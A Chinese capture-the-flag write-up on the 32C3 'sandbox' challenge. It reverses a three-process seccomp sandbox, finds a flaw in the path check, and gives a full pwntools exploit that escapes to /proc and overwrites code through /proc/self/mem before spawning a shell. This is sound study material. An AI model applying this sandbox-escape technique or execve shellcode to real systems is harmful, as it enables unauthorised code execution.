32c3 sandbox

Tags: /proc/self/mem,seccomp,shellcode

前言

做 seccomp 相关题目遇到的一个题目, 利用方式很有意思, 第一次见: 通过 修改 /proc/self/mem 可以修改不可写的代码段. 第一次见, 记录一下.

题目分析

逻辑有点复杂, 我可能表述的也不是太清楚, 仅供参考, 最好还是自己逆一下.

这个题目通过 fork 和 clone 整出了三个进程, 我们以 parent, sec, unsec 来表示它们.

进程之间是通过 管道和 mmap 的内存进行通信的

  1. pipe 了三个 管道. 因为 pipe 会优先使用最小的 fd, 所以pipe 得到的fd 是可以预测的. 三个进程间使用的管道的 fd 的情况如下图:
管道和线程之间的关系
  1. mmap 了两块内存, 用 mmap1 mmap2 表示它们

    1. mmap1 的权限是 rwx,
    2. mmap2 在 sec 和 unsec 中是 只读的, 在 parent 中是 rwx的
    3. mmap2 和 mmap1 相邻 且 mmap2 在 mmap1 低地址处.

    pwndbg> vmmap
    ...
    0x7ffff7ff6000 0x7ffff7ff7000 r-xp 1000 0 // mmap2
    0x7ffff7ff7000 0x7ffff7ff8000 rwxp 1000 0 // mmap1
    ...

然后分析三个进程各自的工作流程

  1. unsec

    首先设置 seccomp 为 strict 模式, 只能执行 read(2), write(2), _exit(2) 这三个系统调用

    然后读取并执行 shellcode, shellcode 的长度没有限制.

    虽然通过shellcode 只能执行 read, write, exit 三个系统调用, 但是可以通过 parent 和 sec 执行其它的一些系统调用:

    1. 将系统调用号和参数放到 mmap1 中, 然后 通过管道往 parent 端写一个字节 (发送 "信号")
    2. 使用 sys_read 阻塞在 sec 和 unsec 的管道的read end, 等待 sec 执行完 syscall 发 "信号" 过来
    3. syscall 的返回值 存在 全局变量中
  2. parent

    阻塞在 read(3, buf, 1) 这个系统调用, 等待 unsec 发来"信号". read返回之后会 从 mmap1 读取系统调用的参数等信息. parent 有一个白名单 (0x0401800), 遇到不在其中的系统调用会直接退出程序. open 和 chdir 虽然在白名单中, 但是 parent 还会校验他们的参数(0x0400D30): 路径中不能包含dev, proc, sys.

    如果通过了校验就会把 mmap1 中的参数 复制到 mmap2 中, 然后通过管道往 sec 写一个字节

  3. sec

    sec 是完全由汇编编写的. 任务就是执行 syscall

    阻塞在 read(3, buf, 1) 这个系统调用, 等待 parent 的 "信号", read 返回之后

    1. 会从 mmap2 读取系统调用的参数, 然后执行系统调用,
    2. 将系统调用的返回结果写到 一个全局变量中
    3. 通过管道往 unsec 发送一个 "信号"

程序提供了一个 供 unsec 进行系统调用的函数,可以在 shellcode 中使用

__int64 __fastcall unsec_do_syscall(int a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
  __int64 v7; // rax
  int parent; // edi
  __int64 result; // rax
  char v10; // [rsp+0h] [rbp-18h]

  v7 = g_mmap1_rwx;
  *(_QWORD *)(g_mmap1_rwx + 0x10) = a3;
  *(_DWORD *)v7 = a1;
  parent = unsec_to_parent;
  *(_QWORD *)(v7 + 8) = a2;
  *(_QWORD *)(v7 + 0x18) = a4;
  *(_QWORD *)(v7 + 0x30) = a7;
  *(_QWORD *)(v7 + 0x20) = a5;
  *(_QWORD *)(v7 + 0x28) = a6;
  v10 = 0;
  if ( write(parent, &v10, 1uLL) != 1 )
  {
    write(2, "unable to request syscall\n", 0x1AuLL);
    _exit(1);
  }
  if ( read(unsec_from_sec, &v10, 1uLL) != 1 )
  {
    write(2, "unable to wait for syscall completion\n", 0x26uLL);
    _exit(1);
  }
  if ( v10 )
    _exit(1);
  result = syscall_result;
  g_offset = 0LL;
  return result;
}

漏洞分析

漏洞在校验 chdir 和 open 的参数的函数中

signed __int64 __fastcall open_chdir_cb(struct syscall_regs *a1)
{
  struct syscall_regs *v1; // rbx
  char *_path; // rax
  char *v3; // rdx
  signed __int64 v4; // rdi
  char v5; // cl
  char v7[4104]; // [rsp+0h] [rbp-1028h]
  unsigned __int64 v8; // [rsp+1008h] [rbp-20h]

  v1 = a1;
  v8 = __readfsqword(0x28u);
  _path = (char *)a1->_rdi;
  if ( (unsigned __int64)_path < g_mmap1_rwx )
    return 0LL;
  v3 = (char *)(g_mmap1_rwx + 0x1000);
  if ( (unsigned __int64)_path >= g_mmap1_rwx + 0x1000 )
    return 0LL;
  v7[0] = *_path;
  if ( v7[0] )                                  // copy to stack
  {
    v4 = v7 - _path;
    while ( v3 != ++_path )
    {
      v5 = *_path;
      _path[v4] = *_path;
      if ( !v5 )
        goto LABEL_7;
    }
    return 0LL;
  }
LABEL_7:
  if ( strstr(v7, "dev") )
    return 0LL;
  if ( strstr(v7, "proc") || strstr(v7, "sys") )
    return 0LL;
  strcpy((char *)g_mmap2_child_ro + 0x38, v7);  // overflow
  v1->_rdi = (unsigned __int64)g_mmap2_child_ro + 0x38;
  return 1LL;
}

可以看到一个明显的溢出点. 我们甚至不需要溢出.

假设我们进行如下操作

  1. 构造一个 chdir 系统调用, rdi 指向 mmap1+0x30, 并将mmap1+0x30 至 mmap1+0x1000-8 中填充满字符 "/", mmap1+0x1000-8 至 mmap1 + 0x1000 填充字符 "\x00"
  2. 然后 通过管道往 parent 发送 "信号". 显然我们可以通过校验, parent 会将参数复制到 mmap2 中, rdi 指向 mmap2 + 0x38, mmap2+0x38 至 mmap2+0x1000 之间都会填满 "/", 然后parent 会往 sec 发送 "信号" 让 sec 执行 syscall
  3. 我们如果可以在 sec 执行 syscall 之前将 mmap1 地址处的字符串 修改为 proc\x00, 因为 mmap2 和 mmap1 是相邻的, 所以sec中就会执行 chdir("////////.......//////proc") 我们就可以 cd 到 /proc
  4. 然后我们就可以通过修改 /proc/self/mem 来修改 代码段为 shellcode了.

而且我们甚至也不需要使用条件竞争.

我们通过 pipe 新生成一个管道, 并使用 dup2 把 parent to sec 的管道 read end 给覆盖掉. (这两个系统调用都在白名单中) 我们就可以在 unsec 中给 sec 发送系统调用来随时让 sec 执行系统调用了.

思路有了, 那就写 exp 呗

写 exp 过程中免不了调试的...... 这种多进程+多线程调试还是有些麻烦的.

首先 attach 是不行的, attach的话只能调试 parent 这个进程. 所以得直接用 gdb启动, 不能用 process

io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400BE0")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)

线程之间切换倒是很方便, 直接用 thread 命令就行了.

exp

汇编写的头秃.......

#coding:utf-8
from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# sc = open("./sc.asm", "r").read()
sc = """#define unsec_do_syscall 0x04010C0
#define bss 0x603000
#define fds 0x603200
#define g_buf 0x00603128
#define unsec_to_parent_w 4
#define unsec_to_sec_w 6
#define parent_to_sec_r_dup 233
#define sec_to_unsec_r 7
#define mmap1 0x603158
jmp start
get_addr:
    call get_addr2
get_addr2:
    mov rax, [rsp]
    sub rsp, 0x10
    jmp get_addr_ret

shellcode:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    mov rsp, 0x603800
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall



start:
/* dup fd parent_to_sec_readend, so parent's write to pipe won't fail */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, 5 
mov rdx, parent_to_sec_r_dup
call r13

/* init a new pipe to be used by unsec to sec */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 22 /* sys_pipe */
mov rsi, fds
call r13
/* fds = {3, 6} */

/* dup new fd to old parent_to_sec_readend (5), then we can control sec to do syscall */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, fds
mov esi, [rsi] /* new fd read end */
mov rdx, 5  /* old parent_to_sec_readend fd */
call r13

/* chdir to /proc */
/* fill mmap1 with '/' first */
mov rax, 0x2f2f2f2f2f2f2f2f 
/* # define mmap1 0x603158 */
mov rdi, mmap1
mov rdi, [rdi]
mov rcx, (4096/8)
rep stosq
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi + 0x1000-8]
mov qword ptr [rdi], 0  /* terminat with \x00 vali vali important !!!*/

/* now signal parent to copy args */
call clear_regs
mov eax, 80 /* sys_chdir */
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi+0x30]
mov r9, 0x2f2f2f2f2f2f2f2f
call new_do_syscall_p1

/* append tail and signal sec thread to do syscall */
mov r11, [mmap1]
mov qword ptr [r11], 0x636f7270 /* \x00\x00\x00\x00proc */
call new_do_syscall_p2
/*rax = 0 should means that now we are in /proc */

/* open(file='self/mem', oflag=2, mode=0) */
/* push 'self/mem\x00' */
mov rdi, [mmap1]
mov rsi, 0x6d656d2f666c6573
mov [rdi+0x38],  rsi
xor rsi, rsi
mov [rdi+0x40], rsi
lea rdi, [rdi+0x38]
xor edx, edx /* 0 */
mov rsi, 2 /* O_RDWR */
/* call open() */
mov rax,  2 /* SYS_open */
call new_do_syscall

#define fd_of_proc_self_mem_addr  bss + 0x400
mov rdi, fd_of_proc_self_mem_addr
mov [rdi], rax

#define sec_block_read 0x0000000000401637
/* lseek(fd='rax', offset=sec_block_read, whence='SEEK_SET') */
mov rdi, rax
mov esi, sec_block_read
xor edx, edx /* SEEK_SET */
/* call lseek() */
mov rax,  8 /* SYS_lseek */
call new_do_syscall

/* get shellcode addr */

call get_addr
get_addr_ret:  /*0x7ffff7ff5180 */
/* now rax is get_addr2's addr */
add rax, 0x10 /*0x7ffff7ff5185 */

mov rdi, fd_of_proc_self_mem_addr
mov rdi, [rdi]
mov rsi, rax
mov rdx, 0x80
mov rax, 1
call new_do_syscall



/* after pipe() and dup(),  we are unable to use unsec_do_syscall function,
    so we neeed to implement our own do syscall funtion */
#define syscall_result_addr 0x603138
new_do_syscall:
    call new_do_syscall_p1
    call new_do_syscall_p2
    ret

/*  1. put args to  mmap1 
    2. signal parent to copy args
    3. wait parent's copy done */
new_do_syscall_p1:
    /* mov args to mmap1 */
    mov r11, mmap1
    mov r11, [r11]
    mov [r11], rax
    mov [r11+8], rdi
    mov [r11+0x10], rsi
    mov [r11+0x18], rdx
    mov [r11+0x20], r10
    mov [r11+0x28], r8
    mov [r11+0x30], r9

    /* use pip to signal parent */
    mov rdi, unsec_to_parent_w
    mov rsi, g_buf /* buf, readable */ 
    mov rdx, 1 /* n */
    mov eax, 1 /* write */
    syscall
    /* then parent should copy args to mmap2m, we should wait the signal on the dup fd*/
    mov rdi, parent_to_sec_r_dup
    mov rsi, g_buf 
    mov rdx, 1
    mov eax, 0 /* sys_read */
    syscall
    ret

/*  1. signal sec thread to do syscall
    2. wait sec thread syscall done
    3. mov syscall result to rax and return */
new_do_syscall_p2:
    /* then we need to use pipe to signal thread_sec to do syscall */
    mov rdi, unsec_to_sec_w
    mov rsi, g_buf /* buf, readable */ 
    mov rdx, 1 /* n */
    mov eax, 1 /* write */
    syscall

    /* then wait on the pipe. sec will signal unsec when syscall is done */
    mov rdi, sec_to_unsec_r
    mov rsi, g_buf 
    mov rdx, 1
    mov eax, 0 /* sys_read */
    syscall

    /* afterall, mov syscall result to rax */
    mov rax, [syscall_result_addr]
    ret

clear_regs:
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    xor r8, r8
    xor r9, r9
    ret
"""
# io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400c2d\nb *0x400D30")
io = process("./sandbox")

io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
io.interactive()

总结

竟然还有通过写 /proc/self/mem 来修改代码段的这种骚操作. 第一次见, 学习了.

Appendix A : 参考

[1] http://tukan.farm/2016/01/13/32C3-CTF-sandbox-writeup/

[2] https://www.cnblogs.com/xuxm2007/archive/2011/04/01/2002162.html

[3] https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/sandbox-300

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335

推荐阅读更多精彩内容

  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,688评论 0 10
  • 问题概述 前段时间在对系统进行性能测试的时候,我们遇到了一个SPECjvm2008的问题。先介绍下,SPECjvm...
    raphaelzhang阅读 4,632评论 2 2
  • 必备的理论基础 1.操作系统作用: 隐藏丑陋复杂的硬件接口,提供良好的抽象接口。 管理调度进程,并将多个进程对硬件...
    drfung阅读 3,505评论 0 5
  • 爱要说出来,不然怎么会知道。 沟通要说出来,不然永远是个结。 不知道是否会混混沌沌的过完这辈子,到最后都没有好好沟...
    寂然的莫迪阅读 350评论 0 1
  • 选自《墨子·修身》。简:简单,轻易。巧:取巧、弄巧,欺诈伪装。【译文】名声不会轻易简单地得到,荣誉也不能靠欺诈伪装...
    多亦空阅读 2,614评论 41 40